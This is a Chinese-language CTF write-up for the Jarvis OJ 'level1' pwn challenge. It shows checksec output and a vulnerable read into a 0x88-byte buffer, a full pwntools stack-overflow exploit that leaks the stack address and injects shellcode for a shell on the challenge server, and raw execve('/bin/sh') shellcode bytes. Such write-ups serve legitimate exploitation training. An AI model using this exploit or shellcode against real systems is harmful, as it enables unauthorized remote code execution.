Jarvis OJ level1

liu@liu-F117-F:~/桌面/oj/level1$ checksec level1
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level1/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

所有保护全部关闭。是32位的程序
用ida打开

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  printf("What's this:%p?\n", &buf);
  return read(0, &buf, 0x100u);
}

输入限制为0x100堆栈长度为0x88可以覆盖返回地址,典型的栈溢出模型
没有NX保护,可以直接执行shellcode
用pwntools提供的函数直接生成
asm(shellcraft.sh())。还有一点是这里用的是%p输出的,我们接收到的stack_addr是一个字符串,我们需要转化成10整形才能用p32来打包。
int(“str”,16)把字符串当成16进制数转化为整形。
粘出exp

from pwn import *




context(arch='i386',os='linux')
#p=process("./level1")
p=remote("pwn2.jarvisoj.com",9877)

p.recvuntil("this:")
stack_addr=int(p.recv(10),16)
p.recvline()
print hex(stack_addr)
payload=asm(shellcraft.sh()).ljust(0x88)+"A"*4+p32(stack_addr)
p.sendline(payload)
p.interactive()

导入shellcode 需要:没有NX保护,需要获取到栈的起始地址。
粘出一段linux 32为系统下的system(“//bin/sh”)的生成的shellcode

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/80939042